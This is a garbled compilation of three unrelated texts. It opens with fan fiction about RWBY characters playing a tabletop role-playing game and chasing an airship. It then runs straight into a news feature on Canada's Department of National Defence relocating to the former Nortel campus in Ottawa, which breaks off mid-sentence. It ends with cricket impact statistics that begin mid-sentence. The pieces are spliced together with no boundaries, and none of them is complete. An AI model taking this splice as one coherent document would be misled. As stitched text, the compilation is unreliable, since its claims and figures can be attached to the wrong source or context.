Racing forward towards the sounds of machinery, the adventurers struggle to adjust to the brightness of natural light as as they peer out from the bowels of the mine into the sprawling open air cavern. Towards the mouth of the cave is a massive airship, larger than any vessel commonly used for transport. It is tethered loosely by several ropes.
Sweeping aside the tokens on the map, Velvet unrolled a large, laminated grid onto the table, the markered-in lines depicting a “room” vastly larger than the close quarters of the mines they had all gotten used to. The DM hurriedly placed down a dozen-odd tokens and markers indicating the positions of various people and items of interest, but the airship itself was large enough to be represented by a second gridded diagram layered atop the first.
“Make a Spot check.”
“11.”
“14.”
“8.”
There was a smattering of mockery for the scout of the party rolling so poorly, but it was silenced with a scowl.
“19!”
Velvet nodded approvingly.
The distinct orange hair and black hat of Torchwick is visible beyond the glare of the setting sun, gesturing with a cane towards the tethers. Several grunts, cowed by his shrieks of fury, scuttle off to do his bidding. Torchwick storms up the airship’s ramp in a huff.
“Does it look like the airship is ready to take off?” asked Blake.
Velvet nodded. “Although still tethered down, the airship is clearly being prepared for departure. The ramp is being stowed—it could take off at any minute.” She consulted her notes. “From your position, you’re just under 200 feet away.”
Shroud hunched low, keeping her body pressed against the cavern’s rock. “We should try to sneak aboard,” she murmurs. “There doesn’t seem to be too many guards, so if we stick to the shadows, we should be able to make it to the underbelly without being spotted.”
Ember snorts at that. “Why bother? Thing doesn’t look so tough. If we hit it with everything we’ve got we could probably cripple it right here.”
“Wait, are we supposed to get onto the airship or destroy it?” asked Weiss, turning to Velvet. The DM shrugged unhelpfully.
“We definitely need to get someone on that airship, before it’s too late,” whispers Rose. “I propose me.”
Weiss didn’t miss the way Blake, Yang, and Velvet all rolled their eyes, with varying degrees of discretion.
“There’s not a lot of cover,” murmurs Shroud. “And you’re not exactly stealthy. I don’t know if you can make it without being spotted and attacked.”
“That’s why you guys are going to create a distraction for me,” Rose hurriedly explains, her tone suggesting the debate is already over. “Myrtle and Shroud, you two hang back and pin them down with ranged attacks. Ember, you’ll move to those crates there—try to keep their attention occupied.”
Ember blinks, stupefied at how Rose is trying to rope everyone into her ridiculous scheme.
“With the mooks focusing on you guys, I’ll move in a wide arc along the cavern wall like so...” Ruby gestured to the grid, tracing a finger along the closest line on the map.
“What happens to those of us who stay behind?” asks Myrtle.
Rose shrugs. “Then I turn around and create a distraction for the rest of you to get aboard. Shouldn’t be hard if it looks like we’re flanking them. Or you could find some other way to follow me.”
“That’s splitting the party!” hisses Ember.
“You can see several of the guylines being untied. The airship is already being buffeted slightly by the wind, it looks ready to sail at the drop of a hat.”
“And what if we get stuck down—”
“Only a single rope keeps the airship tethered to the ground at this point.” Velvet moved several tokens on the map around, towards the final guyline. “The grunts are beginning to relax again, now that their job is almost done.”
“We’re not going to have time to board it,” growls Shroud. “Does anyone see any other way we could follow—”
“I can make it!” Rose insists. “Using Haste,” she pulls a red bottle off her belt and waves it meaningfully, “I can sprint there in less than six seconds,” she explains as she uncorks and chugs the potion.
“Ruby, don’t!” Yang pleaded, but her sister was already sliding her avatar across the map.
Rose zooms towards the airship, moving at three times the speed of a normal human. Velvet rolled a few dice behind her screen. The White Fang mercenaries are immediately alerted to her presence and raise their weapons menacingly. One raises the alarm.
“Dust!” Ember swears. “You two, try to suppress the grunts by the final rope, keep them from untethering.” She balls her fist. “She’s not getting away that easily.”
“Torchwick is a male dark elf, Yang,” reminded Velvet, slightly puzzled. She thought this had been established already.
“I meant my sister,” growled Yang in reply. She jabbed a finger angrily in Ruby’s direction. “Never. Split. The. Party.”
The clatter of dice filled the air.
Myrtle casts Color Spray in the direction of the two grunts nearest the tether and they stumble around dazed as a garish rainbow floods their vision.
Gasping for breath, Rose makes it to the airship, fingers curling around the rope netting the balloon.
Ember comes to within sixty feet of the base of the ropes, running at full-tilt directly towards the ship, but Rose is already clambering across the netting, making her way towards the starboard entrance.
Shroud looses a bolt, striking one of the dazed White Fang guards. He’s gravely injured but still standing.
Apparently sensing Ember’s plan, one of the grunts turns his back to the fight and sprints for the last rope keeping the airship in place. His sword is drawn, and there is no mistaking his intent to cleanly slice through the rope.
“M, freeze him!” Ember calls over the chaos.
Myrtle panics, casting the only thing that came to mind. “Ray of Frost!” she shouts, as a faint blue ray pings off the grunt’s armor, having about as much effect as a hastily thrown ice cube.
Ember shoots Myrtle an incredulous look. “What was that?!”
“It’s the only ice spell I have!”
Ember continues sprinting towards the airship, but she can’t hope to close the distance in time. “I’m not going to make it! Just stop that damn grunt however you can!”
Furrowing her brow, Myrtle’s fingers move in a blur of motion, the wizard muttering quietly as she prepares to cast Fireball—
Velvet interrupted. “There’s some half-finished constructions in the way and the engines and wind are kicking up a great deal of flying debris. You’ll need to roll to hit: DC 15 and add your dex bonus and attack bonus. Do you still want to do it?”
The wizard narrows her eyes in determination and completes the incantation. A moment later a brilliant red beam streaks out from between her fingers, sizzling through the air as it is launched in the direction of the moving grunt. But she can only watch in horror as the ship bucks in a gust of wind and the guyline goes slack, putting it directly in the line of fire. The Fireball blossoms to life prematurely, catching the running grunt—as well as his two comrades—by surprise in the periphery of the flaming sphere, felling all three immediately. It also incinerates the rope he was so desperately trying to sever and scorches a large section of the hull as the airship lurches forward, no longer held down by its moorings. Bone-chilling screeches fill the air.
Velvet slid the diagrammed airship towards the edge of the cavern.
“Guys?” Rose glances over her shoulder. She sees the other members of her party growing more distant with each passing second.
Running at a dead sprint, Ember nevertheless loses ground to the departing airship. Barring a miracle, she will never catch it before it clears the cavern’s entrance.
Shroud hisses something under her breath and fires her crossbow at the last remaining White Fang grunt. He falls to the ground a moment later, a bolt protruding from his throat.
“Guys!”
The airship clears the cavern, passing over the edge of a cliff. It is soon drifting over the forest, following the winding river below. The rest of the engines kick in a moment later and it lurches forward towards an unknown destination.
“Were we supposed to be on that?” Weiss asked the DM for the second time.
Velvet said nothing, and this time nobody missed the way her ear twitched.Six years after the federal government purchased Nortel’s former R&D campus in the west end of Ottawa, the Department of National Defence is finally preparing to move in. Citizen reporters James Bagnall and David Pugliese examine one of the largest corporate relocations in Canadian history and explain what it will mean for Canada’s military and the national capital region.
On a hot August day in Ottawa’s west end, construction crews are banishing the ghosts of Nortel Networks.
In what used to be Lab 8 — one of more than a dozen interconnected facilities — skilled trades are busy securing doorways, installing floor-to-ceiling windows, and upgrading the wiring. The soft whirring of power drills echoes throughout the atrium. A layer of dust settles on flooring that’s covered with protective plywood.
It’s a remarkable contrast from the past few years, when Lab 8 – a former hub for wireless R&D — sat mostly silent.
There is urgency now.
In early November, the Department of National Defence — the largest employer in the national capital region — will begin moving in. By the end of March, the first wave of 3,400 employees is expected to fully occupy Building 8 (as the military now calls it) and three adjacent structures.
Two years after that, if all goes to plan, 8,500 DND employees will have shifted to the 370-acre campus along Carling Avenue from dozens of downtown locations.
Thus will rise a new, state-of-the-art DND headquarters — a Pentagon North — that’s expected be spur major change to the culture of the department and to the lives of its employees.
It’s one of the largest corporate moves in Canadian history. It will rival in scale the remaking of downtown Gatineau in the 1970s, when the federal government built the Place du Portage complex to accommodate 10,000 office workers, in large part to spread bureaucracy more evenly across the region. That project forever altered the face of downtown Gatineau and influenced commuting patterns, housing markets and retail throughout the urban core.
Eight years in the making, the new DND headquarters project will reveal much about the ability of the federal government and its contractors to execute large-scale projects.
While Public Services and Procurement Canada, the department that along with DND and Shared Services is overseeing the project, maintains the overall effort is on time and on budget, the arrival of the first wave of employees is easily a year behind schedule.
It will take superb management and some luck to keep things on track.
Related
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The goals for the new headquarters are substantial. DND hopes both to save money and create a tech-savvy workforce that can deal with the security challenges for decades to come.
Senior DND managers believe that having a large number of staff in one location, outfitted with new technologies, will allow them to work more efficiently and effectively.
Certainly the concentration will be heavy at the Carling campus — the projected staff of 8,500 represents about nine per cent of the DND’s total military and civilian workforce. The world famous Pentagon — the Washington-based headquarters for the U.S. military accommodates 23,000 military and civilian employees, a little more than 1 per cent of its total.
The Carling site, like the Pentagon, will also promote a military environment, quite different from the current headquarters at 101 Colonel By Drive. A Hall of Honour will be dedicated to preserve military history and heritage, while military artifacts will be displayed indoors and on the grounds. The Kandahar Cenotaph, which honours those killed in Afghanistan, will find a new home there.
Employees won’t need to leave the Carling site. Services will include retail and food outlets, dental and physiotherapy offices, a pharmacy, a postal outlet and two fitness centres.
The plan is clear enough. Now, it’s just a matter of how to realize it. After all, it’s been a long time coming.
•
The headquarters for Canada’s military has long been a dominant feature of the city’s core, a few minutes stroll from Parliament.
To accommodate the war effort in the 1940s, the government erected a series of four-storey structures on the site of the present-day courthouse on Elgin Street. Though designated “temporary,” the buildings served as the home for Canadian Forces headquarters until the early 1970s.
Two matters of great consequence occurred in 1972. The Liberal government of prime minister Pierre Trudeau profoundly reorganized the department, eliminating overlap between its civilian and military parts and forcing them to operate as a single entity. Civilians were given a greater role in creating defence policy.
Coincidentally, construction that year was nearing completion on a major office complex at 101 Colonel By Drive, just to the east, along the Rideau Canal. The edifice would become the head office for the newly unified Department of National Defence. By 1974, there were 4,000 employees who had moved in, representing about half DND’s headquarters staff.
The towers at Colonel By Drive were originally to have been occupied by the Transport Department, which may explain why they give off scarcely a whiff of military purpose. It also reveals why DND — a vastly bigger department — from the beginning lacked space for its legions of bureaucrats and military planners.
To accommodate the overflow, the government leased dozens of smaller facilities throughout the downtown. Elements of the air force wound up at 400 Cumberland St., the director of military pay took up residence at 305 Rideau St., and the chief of military personnel decamped to Coventry Road. Today, there are 16,000 DND employees spread across 40 facilities.
The arrangement is hugely inefficient. DND is spending many millions of dollars extra each year to duplicate physical security and other types of administrative overhead at each of its facilities. Though everyone knew this was a waste of taxpayers’ money, a plan to rectify things didn’t emerge until after 2006 — when a new Conservative government arrived in Ottawa promising to provide “value for taxpayers’ money.”
•
At DND, this took the form of an “accommodation strategy” that, done properly, could save a small fortune every year by taking advantage of economies of scale. In 2008, DND and Public Services methodically began considering options — what was the best way to consolidate DND office space, which leases should be terminated, what properties were coming available?
At the time, Nortel was very much alive — a $10.4-billion-US-a-year corporation with 30,000 employees. Close to 6,000 worked in Canada, the lion’s share on Ottawa’s Carling campus. They had little idea their world was about to collapse.
The global financial crisis ripped through the economy in the fall of 2008, sapping Nortel’s strength with surprising speed. The company filed for protection from its creditors in January 2009 — then prepared to auction off its assets.
DND and Public Services knew the Carling campus would eventually come up for sale. Public Services bought the campus for $208 million in December. It was understood from the beginning that DND would occupy the property, according to Daniel Godbout, the Defence Department’s director general of the Headquarters Transformation Project.
Nevertheless, it was also clear from the terms of the sale that the move wouldn’t take place anytime soon. Former Nortel employees working for other firms such as Ericsson would be permitted to remain on site for another three years under extended leases.
It turned out DND and Public Services would need all that time and more to figure out how to relocate so many employees.
•
It wasn’t just a matter of refurbishing the site and sorting out the logistics of the move. DND didn’t have a good handle on how its employees would be affected.
Shortly after the government purchased the Carling campus, then deputy minister Robert Fonberg and chief of the defence staff Gen. Walt Natynczyk prepared a message to employees — ultimately never sent — that outlined what workers would face with the relocation.
“A move of this magnitude will, no doubt, cause some disruptions along the way,” pointed out the message, obtained by the Citizen through the access-to-information law. “We acknowledge that this announcement will raise many questions and concerns with respect to transportation, family issues, and other personal considerations.”
A June 2011 briefing note for Fonberg summed up part of the problem — the Carling site was a “relatively remote location.” Only one in five of DND’s employees live in the west end of Ottawa.
Vice Admiral Mark Norman, whose office is overseeing the relocation project, acknowledged in a recent interview that employees in the city’s east end, including himself, face a long commute and other difficulties getting to work at the newly named Carling Campus. “If you’re in Orleans like I am, this appears to be a bit daunting.”
Will a long daily commute be enough to send civilian public servants looking for new jobs elsewhere in the federal government?
DND doesn’t know.
“While impacts for retention have been considered,” a February report produced by DND auditors warned, “information has not been formally or comprehensively gathered to support informed decision making and to address risks to employee retention.
“No formal departmental survey has been conducted to determine employees’ concerns with the Carling Campus move or their willingness to move.”
Information has been gathered anecdotally or through informal discussions, the auditors added.
Norman said the department recognizes it has to improve communication with employees but noted there has already been a lot of feedback through various meetings and town halls with staff.
“We’re getting a good sense of where their concerns are — in most cases they relate to everything from a degree of personal upheaval and the stresses associated with having to re-locate their job, their office to commuting to the degree of commercial amenities that are or aren’t out there,” Norman explained.
“There’s a whole range of issues, and our responsibility in that regard is to communicate, to tell them what we’re doing and let them know we are listening.”
But Norman added, “There are clear limits to what we can and can’t do.”
DND has already conducted a survey about how workers commute and use public transit. Another is planned.
Norman said military staff who are being transferred to the Ottawa area are being told that they might want to take the campus location into account when they buy or rent a home.
“For those employees who have been here for decades, they don’t have the same sort of optionality,” added Norman. “But we’ve been trying to get out ahead of this and give people as much advance notice as possible so they’re not surprised that this is coming.”
DND believes that by providing tours of the campus and as much information as possible to employees, it will convince workers of the value of the move. It is also working closely with OC Transpo. On Aug. 1, it set up a shuttle service from key DND buildings in Ottawa and Gatineau out to the Carling Campus. (The service for the moment benefits just the relatively small number of employees from DND, Public Services and Shared Services who are already on site, preparing the groundwork for the major moves.)
Another DND initiative may also provide an alternative for those who don’t want to move. The Carling Campus Job Match, as it is called, would allow full-time DND public servants in the Ottawa area to switch positions with other DND employees who are in the same or equivalent occupation.
It’s designed to take advantage of the fact that nearly half the department’s regional workforce will continue to work out of a handful of downtown locations — including 101 Colonel By Drive, a hub in Gatineau and Star Top Road, the headquarters for operational elements.
“As much as possible, we want to minimize the disruption,” Norman says, “so if we can find an employee who has really got their heart set on staying downtown, then they might be able to transition into one of the organizations that will ultimately be consolidated downtown.”
And if DND does start to lose more personnel than expected in coming months?
“Potential program delivery issues may arise,” warned the recent departmental audit.
•
But in 2010 the more pressing issue was getting the just-purchased Carling campus ready for new occupants — and coming up with a plan for smoothly transferring 8,500 employees.
The bureaucrats would have to convince the Conservative cabinet that the plan was both workable and affordable — and that DND was actually the right department to lease the Carling campus.
Initial efforts weren’t well received. DND estimated it would cost $700 million-plus to renovate the facilities and get them up to military standards of security. Combined with the purchase price of the campus and one-time transition costs related to breaking leases, this put the upfront costs at close to $1 billion.
While DND could point to estimated annual savings of $30 million a year for the next 25 years — $750 million in total — combined with a more efficient operation, Tory cabinet members were concerned the public’s focus would be on the initial investment, not the long-term savings. This, just as the Conservative government was trimming costs significantly across-the-board in its drive to return to a balanced budget.
It didn’t help when rumours surfaced that cleaners had discovered electronic listening devices in some of the vacated buildings. Norman recently dismissed these as “legacy bits and pieces” implying they were part of the detritus leftover from Nortel’s days. His organization was “satisfied” the site was ready to be occupied, he said.
DND revamped its game plan. Project managers decided they could make do without two of the older labs (Nortel’s 1 and 4) — thus eliminating the need to fit them up. They also lumped more of the high-security operations together, thereby reducing the number of locations that required the most expensive fitups. And, not least, DND took advantage of the recent arrival of Shared Services — which was able to provide basic information technology gear at reduced rates.
DND’s Godbout said this is how the department reduced fitup costs to $506 million from $700 million. Add to this the $208 million purchase price and $41 million transition costs (including for the actual move). A one-year delay in the start of moving in the first wave of employees has added $36.7 million to transition expenses in the form of extended leases in downtown locations. This brings total upfront costs to nearly $800 million.
Inevitably, there have been surprises along the way. However, the costs associated with these are considered part of the project’s ongoing lifecycle budget, rather than upfront investment — they reflect items from the original building that have become obsolete and need to be replaced. For instance, the project has had to shell out $7.5 million more than expected to bring the Phase 1 buildings up to code to withstand seismic activity. It has also budgeted an extra $31 million to replace defective windows.
“I’ve been in this business more than 35 years,” says Godbout, “and I can tell you we are really concerned about the money we receive from government. This is taxpayers’ money.”
Before it purchased the former Nortel site, relocation project managers at Public Services considered other options to test whether they really were getting value for money. They commissioned a study in 2010 to determine what it would cost to design, build and furnish a similar size headquarters from scratch. The department considered seven potential locations including three in Orleans, two in Kanata and one each in Gatineau and South Ottawa. “None met all the requirements for security and development potential presented by the Nortel Carling campus,” Public Services concluded.
Indeed, the internal study reckoned that the cost of even the least expensive of the greenfield sites would be 30 per cent higher than going with the Carling campus option.
Following the purchase of the campus, Conservative cabinet asked Public Services to consider whether a group of federal departments — led by Health Canada — could occupy it for less money. Again, the answer was no. Public Services concluded that each department required its own exits and entrances, boardrooms and other pieces of revised architecture. All of this would up the price of a refit.
•
Finally, cabinet also wanted to know why getting the former Nortel campus ready for DND appeared to be significantly more expensive than an RCMP relocation that was proceeding on time and well within budget.
The RCMP was moving as many as 3,000 employees from its old headquarters on 1200 Vanier Parkway and other facilities to the former JDSU office and lab complex in the south end of Ottawa. So the scale was smaller, making the project less complicated.
The RCMP also inherited a more modern facility than DND, which meant less refurbishing was necessary. JDSU, which makes fiber-optic components for communications networks, had spent an estimated $150 million to $200 million on the campus, just as the telecom boom ended in 2001. Some buildings had never been occupied.
JDSU parted with this nearly pristine campus for a song because tenants simply couldn’t be found. In 2003, the firm had been trying to market it to the federal government for a rumoured $80 million-plus. Officials at Public Services balked. At the time, they had no department ready to move in. They also figured the price would go lower. It did, but not until 2005, when JDSU was consolidating its office space in California and manufacturing in China. The company, which today goes by the name of Viavi Solutions, unloaded its Ottawa campus for $28 million. The buyer: Minto, a prominent real estate management firm.
Even at that discounted price, the deal wasn’t without risks for Minto. It would take more than a year before it could secure the RCMP as a tenant through Public Services, the government’s landlord.
In 2006, Minto negotiated a 25-year lease with Public Services under which it receives rent. The arrangement blends many elements including an implied price for the former JDSU campus (roughly $60 million), the cost of refitting it (another $60 million) and annual maintenance fees, among other items. The government will have the option of buying the property for a nominal fee at the end of the lease. Minto reaped a sizeable profit but taxpayers got a good deal as well, thanks to the losses absorbed by JDSU shareholders.
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Minto also tried to buy the former Nortel site. However, its timing wasn’t as good on that occasion.
In part this was because the Carling campus was one of the last pieces of Nortel to be sold, a delay that upped its price. During the bidding process in 2010, the economy was recovering significantly, thus raising the potential rent that could be charged by a winning bidder.
And — unlike the case at the JDSU campus — there were still plenty of tenants on the Carling site. These were tech firms that had acquired the various Nortel assets and continued to employ thousands of ex-Nortel workers.
Of the campus’s tech legacy only Ciena remains, with more than 1,000 employees in Nortel’s former lab 10. The company’s lease doesn’t expire until yearend 2017 — at which point its employees will have shifted to a new Ciena headquarters complex in Kanata. Lab 10 will be the last of the properties on the Carling campus to be refurbished — under phase 3 of the DND relocation project.
The first 3,400 DND employees were to have started moving to the campus during the fall of 2015 but several complications, including having to fix the defective windows, conspired to push things back a year.
For instance, the process used by prime contractor Bookfield Global Integrated Solutions to pick its main subcontractors (EllisDon and NORR) took longer than expected “due to the extension of the tendering process and a longer award process” Public Services noted. Time was also lost because a design consultant wasn’t able to hire staff quickly enough.
The project office claims these problems have been resolved, but it’s a reminder that a construction site is a fluid environment. No one should be surprised if DND’s ambitious timetable over the next 2 1/2 years slips.
“The reality of life is that government contracting is riddled with process,” says a senior manager with an Ottawa firm that has refitted multiple federal office towers. “There are internal agendas all over the place, for example people who may not want to move when the project manager says they should move,” he adds.
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When Nortel was at its peak in 2000, it employed nearly 16,000 in the national capital region, with roughly half operating out of the Carling campus. The rest of Nortel’s workers locally were spread across more multiple facilities.
That configuration bears a striking resemblance to DND’s plan. On the face of it, it should give us a reasonable idea about how commuting patterns and housing markets will change.
But there’s a big difference in the respective workforces of Nortel and DND. Nortel employees tended to be creatures of the west end, while DND workers live in all quarters of the region, with a nod toward the east.
According to data provided by DND to transit authorities, 4,200 military and civilian employees live in Ottawa’s east end (Orléans and area) while close to 3,000 commute from Gatineau (Aylmer and surroundings). Large clusters of DND workers can also be found in the city’s west end (2,900), south side (1,900) and rural areas (3,000). Only about 1,200 DND employees live downtown.
Many DND workers — roughly split between civilian and military — rely heavily on transit. It helps that bus routes offered to and from Aylmer and Orléans are reasonably direct. But with the coming shift of their department’s headquarters, this will change.
Consider two common commutes — one from the Galeries Aylmer shopping centre, the other from Trim Park & Ride in Orléans.
The weekday morning trip from Aylmer to 101 Colonel By Drive takes 48 minutes, and requires no transfers. But if you shift the journey to 3500 Carling Avenue — DND’s new headquarters — your morning commute will demand a bus transfer at Tunney’s Pasture and consume an extra 23 minutes.
The difference is even more pronounced for east-end residents. From Trim Park & Ride, a bus ride to DND’s downtown headquarters takes just 28 minutes on Route 91. There’s no need to transfer. Extending the journey to 3500 Carling will require one hour and 21 minutes and demand two transfers.
In anticipation of the DND headquarters shift, transit authorities have been tweaking their systems. Pat Scrimgeour, the assistant general manager for customer systems and planning for OC Transpo, says the transit authority has adjusted several routes to take account of extra volume to and from 3500 Carling.
For instance, key route 182 has been extended to Tunney’s Pasture station to allow for quicker transfers and “service levels and capacity on these routes will be increased to match expected ridership demand.”
Will tougher commutes be enough to push DND employees off the bus and into their cars — or to make them consider moving to the west end, or to switch jobs to another federal government department?
There are no simple answers. Each DND employee has to consider so many factors, from their children’s ages to the price of housing.
“We’re not hearing a lot of people talking about making a move from Orleans area to be closer to the new DND headquarters,” says Josh Cimon, who’s in charge of business development for Paul Rushforth Real Estate Inc. “If you’ve got kids in high school for another two or three years, you’ll be inclined to stay put for now.”
Another factor is the strong likelihood — especially for those within the military — of getting posted to another city within several years. There’s a significant financial incentive to wait until the transfer becomes real — sell the house just once and avoid significant real estate fees.
Those 3,000 DND employees who live in Gatineau and surrounding areas would also face a potentially steep increase in house prices if they want to move. The average single-family house price in Kanata was $378,000, according to the MLS Home Price Index and Ottawa Real Estate Board. That’s roughly equal to listings in Ottawa South and Orleans, but more than $100,000 higher than the average selling price in Gatineau, according to Centris.
DND employees will likely try out their new commuting routes before making a life-changing decision.
For some, it may not be all that bad: travelling west on the Queensway past downtown generally runs against the rush hour grain. According to the Ontario Ministry of Transportation, the daily two-way traffic on the Queensway averages about 165,000 vehicles |
consistent batsman in the history of Test cricket (min. 50 Tests). His failure rate (an impact of less than 1 in a match constitutes a failure) of 26% (failed in only 13 of the 50 Tests he has played) is even better than Don Bradman's (27%; failed in 14 of the 52 Tests he played).
While Ben Stokes has been the second-highest impact all-rounder (after Mitchell Marsh) in ODI cricket since 2015, he is not even amongst the twenty-five highest impact in T20 cricket (min. 20 matches) in the same period. He has a 44% failure rate with only 4 high impact performances in 25 matches in this time-frame.
Ravindra Jadeja has been the most restrictive bowler in Test cricket since 2015 (min. 10 Tests). His Economy Impact is three times higher than the next best in this regard - Rangana Herath.
Historically, Arjuna Ranatunga has been the highest impact Sri Lankan batsman in ODIs played in South Africa (min. 5 matches). He is followed by Upul Tharanga and Tillakaratne Dilshan.
Alastair Cook's impact as a player went up by 12% after he took over Test captaincy (from 15th November, 2012). As captain (min. 20 Tests), Cook's impact with the bat is the fourth-highest in England's Test cricket history after Graham Gooch, Peter May and Len Hutton.
Allan Donald went 28 Tests - from November 1995 (second Test, vs England, Johannesburg) to December 1998 (second Test, vs West Indies, Port Elizabeth) - without registering a failure (a Bowling Impact of less than 1 in a match constitutes a failure). This is the longest such streak for a bowler in Test cricket history.
Dale Steyn is the most restrictive pace bowler in Twenty20 (domestic and international) cricket history (min. 60 matches).
Among Test batsmen, no one produced series-defining performances (SD) across as many countries as Inzamam-ul-Haq. Inzy registered SDs across seven different cricketing nations - viz. Zimbabwe (1), Pakistan (2), Bangladesh (1), England (1), New Zealand (1), India (1) and West Indies (1).
Among those who have played Test and ODI cricket, AB de Villiers is the only batsman in history who makes the list of the ten highest impact batsmen in both formats.
Four of India's five highest impact ODI batsmen of all time (min. 60 ODIs) - Virat Kohli, MS Dhoni, Shikhar Dhawan and Rohit Sharma - are part of the present Indian line-up. No contemporary Indian bowler ranks amongst the country's five highest impact. R Ashwin and Ishant Sharma feature in the top 10.
AB de Villiers, who has registered 4 series-defining performances in ODI cricket in the last couple of years, has been the highest impact batsman in the world during this period (min. 20 matches). He is followed by Glenn Maxwell, Hashim Amla, Joe Root and Virat Kohli.
Since making his Test debut in February 2013, Kyle Abbott has been the third-highest impact Test bowler for South Africa after Dale Steyn and Kagiso Rabada (min: 10 Tests). He has also been their highest Economy Impact bowler in this period.
Steve Waugh is the lowest impact bowler (min. 40 matches) in Test history to register a series-defining performance with the ball. He produced two series-levelling performances in back to back series against South Africa - 4-26 and 0-4 in Adelaide in 1994 and 0-20 and 5-28 in Cape Town a couple of months later.
Brendon McCullum's 195 in just 134 balls in the first innings against Sri Lanka in Christchurch in 2014 is the highest impact performance in a Boxing Day Test in history. New Zealand won the Test by 8 wickets.
The highest impact non-Asian batsmen in Tests in India since 2000 (min: 4 Tests) are Jacques Kallis, Andrew Strauss, Damien Martyn, Andy Flower and Alastair Cook.
Jimmy Adams has absorbed the maximum pressure in winning Tests (min. 15 matches) in Test cricket history. He is followed by Gundappa Viswanath, Kane Williamson, Brian Lara and Angelo Mathews.
Don Bradman, Joe Root, Brian Lara, Saeed Anwar and Jimmy Adams have the highest Batting Impact in winning Tests (min. 20 matches) in the history of Test cricket. The highest impact Indian batsman in Tests won is interestingly, Gundappa Viswanath, who is next on this list.
Faf du Plessis is the highest impact South African batsman in Test matches played in Australia (min. 5 Tests). His ability to absorb pressure (of falling wickets) is currently the best for any batsman in the history of Test cricket in Australia.
Only two batsmen - Cheteshwar Pujara and Jacques Kallis - have scored a higher proportion of runs than Alastair Cook has in India in Test cricket in the new millennium (min. 5 Tests). Interestingly, Rohit Sharma is next on this list, followed by Virat Kohli.
Graeme Swann, Monty Panesar, Kevin Pietersen and Alastair Cook produced series-defining performances when England last toured India (2012) and won 2-1. It was only the third series India had lost at home in the new millennium, following defeats to South Africa (2000) and Australia (2004).
The five highest impact openers (min. 60 innings) in ODI history are: Hashim Amla, Adam Gilchrist, Sachin Tendulkar, Gordon Greenidge and Rohit Sharma.
Andy Flower is the highest impact batsman to never give a series-defining performance in Test cricket. It did not help that he was part of a weak Zimbabwe team that barely won a handful of Test matches against major Test playing nations.
Alec Bedser (51 Tests) is the highest impact bowler (min. 50 Tests) to have never produced a series-defining performance (SD) in Test cricket. Interestingly, James Anderson - England's leading wicket-taker - has played 119 Tests without producing an SD with the ball and is next on this list.
Dion Ebrahim of Zimbabwe is the lowest impact ODI player (min. 60 innings) of all time. He is also the only player in ODI history to have comprehensively failed over a career (i.e., a Career Impact less than 1).
Virender Sehwag was the highest impact Test batsman in the world between Jan 2008 and Feb 2010 - a period in which he registered all his 3 series-defining performances. Interestingly, this coincided with his best phase in ODIs - June 2008 to August 2010 - when he was the second-highest impact batsman, behind Dilshan.
Glenn McGrath went 26 ODIs without failing with the ball (A Bowling Impact of less than 1 in a match is a failure). His consistency streak - the longest in history - stretched from the 9th match of the Carlton Series against Zimbabwe at the SCG in January, 2001 to the 5th ODI against South Africa in Durban in April, 2002.
Glenn McGrath (66 innings), Ewen Chatfield (48) and Allan Donald (40) are the only three players who have a 100% failure rate with the bat in ODI cricket history (min. 40 innings). Not surprisingly, they are also the three lowest impact batsmen in ODI cricket (min. 40 innings).
No batsman has a higher Runs Tally Impact (proportion of runs scored to team and opposition totals) in ODI cricket history (min. 50 innings) than Zaheer Abbas. He scored 21% of Pakistan's total runs over his career - which is the highest percentage of team runs scored in ODI history.
Considering their first 20 Test matches at home, R Ashwin's Bowling Impact in India is 55% higher than Anil Kumble's. In this stretch, Ashwin has registered 3 series-defining performances (SDs) to go with a failure rate of just 5%. Kumble had 2 SDs while recording a failure rate of 21%.
Richie Benaud is the only bowler - from among touring nations - to have produced two series-defining performances in India in Test cricket (1956 and 1959-60).
Max Walker was the fourth-highest impact bowler in the world during his career (1972-1977) after Dennis Lillee, Jeff Thomson and Andy Roberts. Overall, he had a higher impact as a bowler for Australia than Mitchell Johnson, Geoff Lawson, Ray Lindwall, Jason Gillespie and Brett Lee did. He was no mere support act.
R Ashwin has now produced 16 high impact performances in just 37 Tests. His frequency of producing such a performance is the fourth-best in Test cricket history (min. 30 Tests) after Clarrie Grimmett (17 in 37 Tests), Garry Sobers (41 in 93 Tests) and Hugh Trumble (14 in 32 Tests).
Mohammad Azharuddin is the highest impact Indian batsman at home in Test cricket (min. 20 Tests). His 4 series-defining performances (in 45 Tests) are the maximum by any batsman in India.
Rahul Dravid has produced 22 high impact performances in 164 Tests. His frequency of producing such a performance is the best for any batsman in Indian Test history. He is followed by Sachin Tendulkar who produced a high impact performance once every 8 matches (25 such performances in 200 Tests).
Allan Lamb has the lowest frequency of producing a high impact performance amongst all specialist batsmen in Test cricket history. He produced just one such performance in 79 Test matches.
Tillakaratne Dilshan has produced 14 very high impact performances with the bat in 77 completed innings - the most by any Sri Lankan. He has also displayed the best ability to build partnerships and is the highest impact chaser for his country in T20I cricket.
Tillakaratne Dilshan retires from ODIs as the fifth-highest impact Sri Lankan player ever after Sanath Jayasuriya, Kumar Sangakkara, Muttiah Muralitharan and Aravinda de Silva. He has been their second-highest impact player (after Sangakkara) since 2010, and has also been among the ten highest impact ODI players.
In an all-time list of the highest impact Australian ODI players (min: 30 ODIs), three players from the present squad make it into the top 10, namely, Mitchell Marsh, Mitchell Starc and James Faulkner. The great Australian World Cup winning squad of 2007 had five such players in the top 10.
Rohit Sharma is amongst the three lowest impact specialist batsmen in Test cricket (min. 10 matches) since 2014. Marlon Samuels and Lahiru Thirimanne are the only batsmen who have a lower impact than Rohit in this time-frame.
Hanif Mohammad's 17 & 337 against West Indies at Bridgetown in 1958 (after Pakistan followed-on 473 behind) is the second-highest impact batting performance by a Pakistani batsman (after Inzamam's 329). That famous 337 also makes it the sixth-highest impact performance by any opener in Test history.
Chris Woakes had a miserable start to his Test career, failing with the ball in five of his first six Tests. Since then, he has had a 0% Failure Rate (five Tests, commencing with the home series against Sri Lanka) and his Bowling Impact has shot up by an incredible 576%!
With the ball, Ranagana Herath has failed - comprehensively - just once in nine completed Test matches against Australia (and never at home). He also has four high impact performances in his last six Tests against them. Continues to ride that wave and claims a hat-trick as Australia fold for 106 in Galle.
Kusal Mendis’ combined match performance of 8 & 176 against Australia in the 1st Test in Pallekelle was the 13th-highest impact batting performance in the history of Test cricket and the third-highest by a Sri Lankan. More here.
Len Hutton went 19 Tests without failing (An impact of less than 1 in a match constitutes a failure). His consistency streak, the longest in Test cricket history for a batsman, stretched from the 4th Ashes Test at Leeds in July, 1948 to the 5th Ashes Test at the MCG in February, 1951.
